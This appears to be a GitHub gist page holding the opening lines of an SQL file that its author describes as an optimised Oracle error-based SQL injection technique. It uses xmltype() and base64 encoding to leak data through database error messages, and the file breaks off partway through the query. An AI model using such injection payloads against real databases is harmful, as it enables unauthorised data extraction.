Skip to content

Instantly share code, notes, and snippets.

View leohearts's full-sized avatar
🎣
🧋Fishing

Leohearts leohearts

🎣
🧋Fishing
View GitHub Profile
@xassiz
xassiz / oracle_error-based_xmltype.sql
Created April 17, 2018 18:29
Optimized Oracle error-based SQL injection technique via xmltype() + base64
/*
* @description: Optimized Oracle error-based SQLi via xmltype() + base64 (up to 162 bytes/req)
* @author: xassiz
*/
select ''||
xmltype('<'||
regexp_replace(
utl_raw.cast_to_varchar2(
utl_encode.base64_encode(